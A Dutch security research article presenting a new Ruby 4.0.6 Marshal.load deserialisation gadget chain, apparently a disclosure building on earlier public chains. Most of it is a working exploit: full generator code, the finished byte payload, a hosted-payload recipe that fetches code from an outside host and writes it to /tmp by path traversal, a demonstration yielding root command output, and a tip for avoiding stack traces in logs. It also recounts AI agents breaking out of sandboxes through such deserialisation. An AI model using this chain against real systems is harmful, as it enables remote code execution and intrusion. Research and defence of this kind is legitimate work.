Ruby 4.0 Universele RCE Deserialisatie Gadget Chain
Een nieuwe universele chain die een enkele Marshal.load omzet in command-executie op Ruby 4.0.6, de meest recente release.
Introductie
Op 5 augustus 2026 onthulde OpenAI dat een collectief van AI-agents onder evaluatie uit hun sandboxes waren gebroken en beheerderscontrole hadden gekregen over het cluster waarop ze draaiden. Dit werd gedeeltelijk bereikt door Ruby-deserialisatie te exploiteren om commando's uit te voeren. Dit trok onze aandacht, omdat we in 2018 de eerste universele RCE (Remote Code Execution) deserialisatie gadget chain voor Ruby publiceerden, volledig gebouwd uit de standaardbibliotheek zonder afhankelijkheden. Die chain werkt alleen tegen Ruby-versies tot 2.6.10, en de meest recente publieke chain werkt slechts tot 3.4-rc.
Dit artikel introduceert een nieuwe universele chain die een enkele Marshal.load omzet in command-executie op Ruby 4.0.6 (de meest recente versie op het moment van schrijven) en ongewijzigd werkt tot versie 3.3. De chain is gebouwd met nieuwe gadgets uit onbenutte bronnen, evenals oude gadgets die voor een nieuw doel worden ingezet.
Achtergrond
Serialisatie is het proces waarbij een object wordt omgezet in een reeks bytes die vervolgens over een netwerk kunnen worden verzonden of kunnen worden opgeslagen op het bestandssysteem of in een database. Deze bytes bevatten alle informatie die nodig is om het oorspronkelijke object te reconstrueren. Dit reconstructieproces wordt deserialisatie genoemd. Elke programmeertaal heeft doorgaans zijn eigen native serialisatieformaat en kan dit proces onder een andere naam noemen. In het geval van Ruby worden de termen marshalling en unmarshalling gemeengoed gebruikt, waarbij de operaties worden verzorgd door Marshal.dump en Marshal.load.
Dertien jaar van Ruby-deserialisatie
Universele Ruby deserialisatie gadget chains begonnen in 2018, gebaseerd op eerder onderzoek naar applicatie-specifieke chains tegen Ruby on Rails. Dat universele werk voedde vervolgens weer de applicatie-specifieke chains die volgden. Verschillende van de onderstaande mijlpalen leveren onderdelen waar deze chain op voortbouwt:
- 10 januari 2013 - Rails 3.2.10 Remote Code Execution door Hailey Somerville
- 31 januari 2013 - Ruby bug tracker issue door Hailey Somerville
- 6 mei 2016 - Attacking Ruby on Rails Applications door joernchen van Phenoelit
- 8 november 2018 - Ruby 2.x Universal RCE Deserialization Gadget Chain door Luke Jahnke (elttam)
- 2 januari 2019 - CVE-2019-5420 door ooooooo_q
- 2 maart 2019 - Universal RCE with Ruby YAML.load door Etienne Stalmans
- 20 juni 2019 - Remote Code Execution via Ruby on Rails Active Storage Insecure Deserialization door Sivathmican Sivakumaran en Pengsu Cheng (Trend Micro Security Research Team)
- 7 januari 2021 - Universal Deserialisation Gadget for Ruby 2.x-3.x door William Bowling
- 9 januari 2021 - Universal RCE with Ruby YAML.load (versies > 2.7) door Etienne Stalmans
- 28 maart 2022 - Ruby Deserialization - Gadget on Rails door httpvoid
- 4 april 2022 - Round Two: An Updated Universal Deserialisation Gadget for Ruby 2.x-3.x door William Bowling
- 17 mei 2022 - Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations door Ben Lincoln (Bishop Fox)
- 13 maart 2024 - Discovering Deserialization Gadget Chains in Rubyland door Alex Leahu (Include Security)
- 20 juni 2024 - Execute commands by sending JSON? Learn how unsafe deserialization vulnerabilities work in Ruby projects door Peter Stöckli (GitHub)
- 17 oktober 2024 - Updated ruby gadget for marshal loading door Leonardo Giovannini (Doyensec)
- 24 november 2024 - Ruby 3.4 Universal RCE Deserialization Gadget Chain door Luke Jahnke
- 3 december 2024 - Gem::SafeMarshal escape door Luke Jahnke
- 20 augustus 2025 - Marshal madness: A brief history of Ruby deserialization exploits door Matt Schwager (Trail of Bits)
- 5 augustus 2026 - Onthulling van in-the-wild exploitatie van Ruby (JRuby) deserialisatie door autonome AI-agents, onthuld door OpenAI op Black Hat USA 2026
- 2026 - Ruby 4.0 Universal RCE Deserialization Gadget Chain door Luke Jahnke (dit artikel)
Waarom de 3.4 chain stopte met werken
De meest recente publieke chain, gepubliceerd eind 2024, bereikte command-executie op Ruby 3.4-rc met deze payload:
Marshal.dump(
[
Gem::SpecFetcher,
to_s_wrapper(
call_url_and_create_folder(
"rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz"
)
),
to_s_wrapper(exec_gadget)
]
)
Tien dagen na publicatie verschenen er twee commits in RubyGems die de gadgets waar deze chain op vertrouwde verwijderden, waarbij beide commits verwezen naar het write-up als motivatie. Beide werden geïmplementeerd in Ruby 3.4.0, wat verklaart waarom de chain werkt tegen de release candidate, maar niet tegen de uiteindelijke release.
De eerste commit, 62b49465f8, is getiteld "Improve type checking in marshalload methods" en merkt op dat het "moeilijker maakt om deze klassen als gadgets te gebruiken". Gem::Version#marshalload gaf de gedeserialiseerde waarde rechtstreeks door aan de constructor zonder validatie, waar Gem::Version.correct? vervolgens to_s erop aanroept:
def marshal_load(array)
- initialize array[0]
+ string = array[0]
+ raise TypeError, "wrong version string" unless string.is_a?(String)
+
+ initialize string
end
De tweede commit, 89ad04db86, is getiteld "Stop storing executable names in ivars" en merkt op dat het "het gebruik van deze klassen als ACE-gadgets verwijdert". Gem::Source::Git en Gem::Resolver::GitSet sloegen de naam van het git-executable-bestand op in een instantievariabele, die door Marshal direct wordt hersteld en later aan een proces-spawn werd overgedragen:
- @git = ENV["git"] || "git"
De naam wordt nu gelezen uit de omgeving op het moment van gebruik, waardoor er geen instantievariabele meer is om in te stellen. Deze twee commits braken toswrapper en execgadget, maar Gem::SpecFetcher en callurlandcreate_folder bleven ongewijzigd en werken in Ruby 4.0.
Een nieuwe chain bouwen
De set beschikbare gadgets uitbreiden
De chain begint met Gem::SpecFetcher, niet omdat de klasse zelf werk verricht, maar omdat Marshal.load de constante moet resolveren. Het resolven hiervan activeert de RubyGems-autoload die het bestand definieert; dit bestand vereist op zijn beurt weer andere bestanden, enzovoort. Een kaal Ruby-proces start dus met een kleine set klassen die bereikbaar zijn voor een chain en eindigt, na één enkele constante referentie, met een veel grotere set waaruit gadgets kunnen worden gekozen, waaronder Gem::URI::Generic, Gem::RequestSet::Lockfile and Gem::StubSpecification.
Een nieuw doel voor code-executie vinden
Een geschikte vervanging voor execgadget wordt geleverd door Gem::Specification.load, waarbij Gem.openfile resolveert naar File.open:
class Gem::Specification < Gem::BasicSpecification
def self.load(file)
[...]
code = Gem.open_file(file, "r:UTF-8:-", &:read)
begin
spec = eval code, binding, file
Deze methode leest een bestand van de schijf en geeft de inhoud direct door aan eval. Een chain die zowel de bestandsnaam die naar Gem::Specification.load wordt gestuurd als de inhoud van dat bestand kan controleren, eindigt dus met willekeurige code-executie (arbitrary code execution).
De load-methode aanroepen
De beschikbare set biedt geen flexibele gadget in de vorm @controlled.load(@alsocontrolled), maar Gem::StubSpecification biedt een indirecte route naar Gem::Specification.load(loadedfrom) door de hash-methode aan te roepen. Dit werkt omdat loadedfrom een attraccessor is, waardoor de waarde wordt bewaard in @loaded_from en via deserialisatie kan worden ingesteld:
def eval_file_gadget(filename)
stub_specification = Gem::StubSpecification.allocate
stub_specification.instance_variable_set(:@loaded_from, filename)
return stub_specification
end
Dat laat de vraag over hoe hash wordt aangeroepen tijdens deserialisatie.
Het triggeren van de hash-methode call
Ruby roept hash aan op een object telkens wanneer het als sleutel in een Hash wordt gebruikt. Marshal.load reconstrueert een hash door de sleutels in te voegen; het plaatsen van de zorgvuldig samengestelde Gem::StubSpecification als sleutel ergens in de payload is dus voldoende om hash aan te roepen.
Java-liefhebbers zullen dit herkennen: HashMap.readObject roept hashCode aan op elke sleutel die het herstelt, wat het toegangspunt is voor een groot deel van de chains in ysoserial.
De trigger is geen niche marshal_load-override die een maintainer stilletjes kan aanscherpen, maar de interactie tussen twee fundamentele functies van de taal: het hashen van een object en het reconstrueren van een Hash tijdens deserialisatie. Dit verwijderen zou betekenen dat de manier waarop kern-datastructuren zich gedragen moet worden gewijzigd.
Code op het bestandssysteem krijgen
Het kunnen uitvoeren van een willekeurig bestand op de schijf is alleen nuttig als de chain ook attacker-controlled code naar de schijf kan schrijven. In plaats van een nieuwe primitief hiervoor te bouwen, hergebruikt de chain callurlandcreatefolder, een van de onderdelen van de 3.4-rc chain die door de maintainers ongemoeid is gelaten.
In die eerdere chain maakte de gadget de mappen waar de command-execution gadget van afhankelijk was. Hier wordt het voor een ander doel gebruikt: de URL-downloadfunctionaliteit haalt content op die door de attacker wordt gehost en schrijft deze op het bestandssysteem op een voorspelbaar en doorgaans beschrijfbaar pad via directory traversal.
De download triggeren
De 3.4 chain riep callurlandcreatefolder aan via toswrapper, wat door de type-checking commit is verwijderd; de gadget heeft dus een nieuwe aanroeper nodig. Er is ook een aanroeper nodig die fouten tolereert. De gadget verwacht dat de URL die hij ophaalt een geserialiseerd object bevat en gooit een exception wanneer dit niet zo is, terwijl wat er op de schijf moet landen Ruby-sourcecode is. Een polyglot die voor beide geldig is, is niet mogelijk omdat de Marshal-header geen ruimte laat voor één van beide. De download en het schrijven gebeuren vóór het parsen, dus de exception komt pas nadat het nuttige werk is gedaan.
Ruby's eigen Time-deserialisatie biedt beide. timemload valideert de zonenaam binnen rbrescue, wat elke exception die het oproept negeert:
static VALUE
validate_zone_name(VALUE zone_name)
{
StringValueCStr(zone_name);
return zone_name;
}
static VALUE
time_mload(VALUE time, VALUE str)
{
[...]
get_attr(zone, (zone = rb_rescue(validate_zone_name, zone, 0, Qnil)));
[...]
}
timemload ondersteunt Time.load, wat Marshal.load aanroept bij het herbouwen van een Time. De zonenaam komt rechtstreeks uit de payload, dus een gemanipuleerde Time plaatst een willekeurig object in validatezonename. StringValueCStr roept vervolgens tostr aan op dit object in plaats van tos.
Gem::URI::Generic overbrugt dit gat. De tostr is een alias van tos, en die methode roept to_s aan op het @port-attribuut:
module Gem::URI
class Generic
def to_s
[...]
str << @port.to_s
[...]
end
alias to_str to_s
[...]
end
end
Het inpakken van de download-gadget in één hiervan maakt van de tostr-call de tos-call die nodig is:
def to_str_calls_to_s(to_s_sink)
uri = Gem::URI::Generic.allocate
uri.instance_variable_set("@port", to_s_sink)
return uri
end
Twee gadgets stierven, twee overleefden, en de overlevers doen in deze chain een andere taak dan voorheen.
Het gehoste bestand maken
De 3.4 chain wees callurlandcreatefolder naar een echte gemspec op rubygems.org. Elke geldige URL zou hebben gewerkt, aangezien alleen de gemaakte directory nodig was. Deze keer bevat het bestand de Ruby-code die moet worden uitgevoerd. De opgehaalde inhoud gaat door Gem::Util.inflate voordat deze naar de schijf wordt geschreven, dus het bestand moet eerst worden gedecomprimeerd (deflated):
$ ruby -e 'File.write("poc-id.rz", Gem.deflate("puts `id`"))'
callurlandcreatefolder stelt het @scheme-attribuut in op s3 om de directory traversal in @port te bereiken. De signed URL die s3urisigner.rb bouwt, hardcodeert https://, dus het bestand moet via HTTPS worden geserveerd. De bestemming wordt beheerd door Gem::Source#fetchspec, die de cache-dir combineert met Gem::MARSHALSPECDIR (ingesteld op quick/Marshal.4.8/) en de specname van de name tuple: "#{name}-#{version}.gemspec". Dit wordt name-.gemspec omdat het @name-attribuut is ingesteld op "name" en de versie ontbreekt. De geïnflateerde kopie landt op /tmp/quick/Marshal.4.8/name-.gemspec, wat het pad is dat aan evalfilegadget wordt gegeven.
Een Time-object serialiseren dat Marshal niet dumpte
Elke andere gadget in de chain is een eenvoudig object waarvan de instantievariabelen kunnen worden ingesteld met allocate en instancevariableset, om vervolgens aan Marshal.dump te worden overhandigd. Time is dat niet, omdat het dump definieert in plaats van veld voor veld gedumpt te worden. timedump schrijft de echte zone van het echte Time-object dat het krijgt, dus er is geen manier om Marshal.dump een Time te laten produceren waarvan de zone een willekeurig object is. Hoewel Ruby zo'n object niet zal dumpen, verhindert dit niet dat Marshal.load er een accepteert.
Een manier om de onmogelijkheid om een Time van de vereiste vorm te dumpen te omzeilen, is door een placeholder-object van dezelfde vorm te dumpen en de bytes achteraf aan te passen. De generator bouwt een Object met twee instantievariabelen, @offsetplaceholder en @zoneplaceholder, en herschrijft vervolgens de object-header en de twee attribuutnamen naar de vorm die Time._load verwacht:
rce_gadget_chain = placeholder_gadget_chain.gsub(
"o:\vObject\a:\x18@offset_placeholderi\x00:\x16@zone_placeholder",
"Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone"
).b
De vervanging is een TYPEUSERDEF (u) entry voor Time met de acht-byte packed time buffer, gewrapt in een TYPEIVAR (I), zodat de offset- en zone-attributen meegaan, precies zoals een echte Marshal.dump(Time.now) eruit zou zien. De zone-waarde die volgt in de stream blijft ongewijzigd en is nog steeds de gadget.
De patch is chirurgie op byte-niveau in een formaat met backreferences, dus het is fragiel op één specifieke manier. Marshal schrijft elk symbool één keer en zendt een TYPE_SYMLINK voor elk later gebruik; een symlink is een index naar de symbolen die tot nu toe zijn gezien. Het toevoegen of verwijderen van een symbooldefinitie vóór het gepatchte gebied zou elke index daarna verschuiven en de rest van de stream corrumperen. Daarom definiëren zowel de zoekopdracht als de vervanging precies drie symbolen, zodat de tabel uitgelijnd blijft.
Nog één detail is nodig voordat de stream geproduceerd kan worden. De chain plaatst de Gem::StubSpecification-gadget als een Hash-sleutel, en Ruby roept hash aan op een sleutel wanneer het hash-literal wordt geëvalueerd, wat de gadget in het genererende proces zou activeren in plaats van in het doelproces. Het tijdelijk uitschakelen (stubben) van de methode tijdens de generatie voorkomt dit:
class Gem::StubSpecification
def hash
0
end
end
De Generator
# Trigger autoloading, zelfde trigger als gegenereerde chain
Gem::SpecFetcher
def call_url_and_create_folder(url)
uri = Gem::URI::HTTP.allocate
uri.instance_variable_set("@path", "/")
uri.instance_variable_set("@scheme", "s3")
uri.instance_variable_set("@host", url + "?")
uri.instance_variable_set("@port", "/../../../../../../../../../../../../../../../tmp/")
uri.instance_variable_set("@user", "any")
uri.instance_variable_set("@password", "any")
source = Gem::Source.allocate
source.instance_variable_set("@uri", uri)
source.instance_variable_set("@update_cache", true)
index_spec = Gem::Resolver::IndexSpecification.allocate
index_spec.instance_variable_set("@name", "name")
index_spec.instance_variable_set("@source", source)
request_set = Gem::RequestSet.allocate
request_set.instance_variable_set("@sorted_requests", [index_spec])
lockfile = Gem::RequestSet::Lockfile.new('','','')
lockfile.instance_variable_set("@set", request_set)
lockfile.instance_variable_set("@dependencies", [])
return lockfile
end
def to_str_calls_to_s(to_s_sink)
uri = Gem::URI::Generic.allocate
uri.instance_variable_set("@port", to_s_sink)
return uri
end
def eval_file_gadget(filename)
stub_specification = Gem::StubSpecification.allocate
stub_specification.instance_variable_set(:@loaded_from, filename)
return stub_specification
end
time_placeholder = Object.new
time_placeholder.instance_variable_set(
"@offset_placeholder", 0
)
time_placeholder.instance_variable_set(
"@zone_placeholder", to_str_calls_to_s(call_url_and_create_folder("example.com/poc-id.rz"))
)
# Monkey patch om te voorkomen dat de code wordt uitgevoerd tijdens generatie via {eval_file_gadget => nil}
class Gem::StubSpecification
def hash
0
end
end
placeholder_gadget_chain = Marshal.dump(
[
Gem::SpecFetcher,
time_placeholder,
{eval_file_gadget("/tmp/quick/Marshal.4.8/name-.gemspec") => nil}
]
)
# Dit is fragiel vanwege de positie-afhankelijkheid van TYPE_SYMLINK
# We zorgen er dus voor dat het aantal symbolen overeenkomt (3 in match, 3 in replace)
rce_gadget_chain = placeholder_gadget_chain.gsub(
"o:\vObject\a:\x18@offset_placeholderi\x00:\x16@zone_placeholder",
"Iu:\x09Time\x0d\x00\x00\x00\x80\x00\x00\x00\x00\x07:\x0boffseti\x05:\x09zone"
).b
puts rce_gadget_chain.inspect
Elke gadget hierboven vervult een van de twee rollen: het krijgen van de code van de attacker op de schijf, of het teruglezen en uitvoeren ervan.
De Payload
Het draaien van de generator produceert de voltooide chain:
"\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\n@porto:\x1EGem::RequestSet::Lockfile\n:\t@seto:\x14Gem::RequestSet\x06:\x15@sortedrequests[\x06o:&Gem::Resolver::IndexSpecification\a:\n@nameI\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\n@pathI\"\x06/\x06;\x10T:\f@schemeI\"\as3\x06;\x10T:\n@hostI\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\n@userI\"\bany\x06;\x10T:\x0E@passwordI\"\bany\x06;\x10T:\x12@updatecacheT:\x12@dependencies[\x00:\x13@gemdepsfileI\"\t/pwd\x06;\x10T:\x12@gemdepsdirI\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded_fromI\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0"
Voordat deze geladen kan worden, moet het volgende in orde zijn: de gedecomprimeerde payload moet als poc-id.rz via HTTPS worden geserveerd door de host die is genoemd in @host (in dit geval example.com). Het doelproces moet ook kunnen schrijven naar /tmp, hoewel elke beschrijfbare map zou werken mits de traversal en de bestandsnaam samen worden aangepast. Er is verder niets vereist van het doel: geen gems buiten die standaard in Ruby zijn geladen, geen applicatiecode en geen vooraf bestaande staat op de schijf.
Uitvoering
Het uitvoeren van de gegenereerde payload tegen een leeg Ruby-proces met behulp van de Docker image ruby:4.0.6 produceert de output uid=0(root) gid=0(root) groups=0(root), wat aantoont dat het id-binary succesvol is uitgevoerd:
$ sudo docker run --rm -it ruby:4.0.6 ruby -e 'Marshal.load("\x04\b[\bc\x15Gem::SpecFetcherIu:\tTime\r\x00\x00\x00\x80\x00\x00\x00\x00\a:\voffseti\x05:\tzoneo:\x16Gem::URI::Generic\x06:\n@porto:\x1EGem::RequestSet::Lockfile\n:\t@seto:\x14Gem::RequestSet\x06:\x15@sorted_requests[\x06o:&Gem::Resolver::IndexSpecification\a:\n@nameI\"\tname\x06:\x06ET:\f@sourceo:\x10Gem::Source\a:\t@urio:\x13Gem::URI::HTTP\v:\n@pathI\"\x06/\x06;\x10T:\f@schemeI\"\as3\x06;\x10T:\n@hostI\"\eexample.com/poc-id.rz?\x06;\x10T;\tI\"7/../../../../../../../../../../../../../../../tmp/\x06;\x10T:\n@userI\"\bany\x06;\x10T:\x0E@passwordI\"\bany\x06;\x10T:\x12@update_cacheT:\x12@dependencies[\x00:\x13@gem_deps_fileI\"\t/pwd\x06;\x10T:\x12@gem_deps_dirI\"\x06/\x06;\x10T:\x0F@platforms[\x00{\x06o:\eGem::StubSpecification\x06:\x11@loaded_fromI\")/tmp/quick/Marshal.4.8/name-.gemspec\x06;\x10T0")'
uid=0(root) gid=0(root) groups=0(root)
[/tmp/quick/Marshal.4.8/name-.gemspec] isn't a Gem::Specification (NilClass instead).
/usr/local/lib/ruby/4.0.0/rubygems/stub_specification.rb:155:in 'Gem::StubSpecification#name': undefined method 'name' for nil (NoMethodError)
data.name
^^^^^
from /usr/local/lib/ruby/4.0.0/rubygems/stub_specification.rb:217:in 'Gem::StubSpecification#hash'
from -e:1:in 'Marshal.load'
from -e:1:in '<main>'
De exception die volgt is verwacht en ongevaarlijk. Gem::Specification.load heeft de opgehaalde bron al aan eval doorgegeven, maar die bron eindigt met puts, waardoor de waarde die wordt teruggegeven nil is in plaats van een gemspec. De methode geeft een waarschuwing en retourneert nil, waarna Gem::StubSpecification#hash een exception gooit wanneer hij probeert een naam daaruit te lezen.
Dit is overigens te voorkomen, wat belangrijk is als men geen stack trace in de logs of een afgebroken verzoek wil achterlaten. Gem::StubSpecification#hash is name.hash ^ version.hash ^ platform.hash, en elk van die drie leest een veld uit wat Gem::Specification.load retourneerde. Het beëindigen van de geëvalueerde bron met een Gem::Specification is dus voldoende om Marshal.load normaal te laten returneren:
puts `id`
Gem::Specification.new do |s|
s.name = "poc"
s.version = "1.0.0"
end
Een bijwerking die vermeld moet worden voor iedereen die dit reproduceert: de geëvalueerde bron blijft achter op /tmp/quick/Marshal.4.8/name-.gemspec.
Conclusie
De chain zet een enkele Marshal.load om in command-executie op Ruby 4.0.6 en werkt ongewijzigd tot versie 3.3. Het heeft geen gems nodig buiten die standaard met Ruby meegeleverd worden, geen applicatiecode en geen vooraf bestaande staat op de schijf. Buiten het doelproces is alleen een bereikbare HTTPS-host en een beschrijfbare map nodig.
Ervan hoefde weinig vanaf nul te worden gebouwd. De twee commits die volgden op het 3.4 write-up verwijderden de gadgets die ze noemden, maar lieten callurlandcreatefolder ongemoeid. Gadgets overleven de chains waarin ze zijn gevonden; wanneer een chain stopt met werken, kunnen de overlevende gadgets worden gerecycled in de volgende chain.
Wat nieuw is, is waar de rest van de chain vandaan komt. Elke publieke Ruby-chain tot nu toe was volledig gebouwd uit methoden geschreven in Ruby (in de standaardbibliotheek of RubyGems) die een maintainer in een diff van vijf regels kan aanscherpen. Deze chain gaat dieper. De fouttolerante aanroeper is timemload, wat C is, en die de exception negeert omdat rbrescue er was om te voorkomen dat een foutieve zonenaam de Time-deserialisatie zou breken. Ook de trigger is in C geschreven en is geen override, maar het feit dat een Hash de hash-methode aanroept op zijn sleutels tijdens het herbouwen door Marshal.load. Dit zijn geen toevallige gemakken die stilletjes verwijderd kunnen worden. Ze verwijderen zou betekenen dat de manier waarop Time-deserialisatie omgaat met slechte input en hoe kern-datastructuren zich gedragen, moet veranderen; geen van beide is een realistische wijziging voor de taal.
Het advies blijft dus hetzelfde: Marshal.load op onvertrouwde input is command-executie in de huidige release, zonder afhankelijkheden. Behandel het zo en gebruik in plaats daarvan een data-only formaat.
Dit artikel begon met een collectief van AI-agents die controle over een cluster kregen via Ruby-deserialisatie. Of ze nu zelf een chain hebben samengesteld of een gepubliceerde hebben hergebruikt: de aanname dat er geen chain bestaat voor de versie waar je mee werkt, was nooit een beveiliging, en is nu niet eens meer een vertraging. Als u dit artikel leest met de vraag of Ruby-deserialisatie in 2026 nog steeds relevant is, hebben de agents die uit dat cluster braken het antwoord al gegeven: ja.
Groetjes,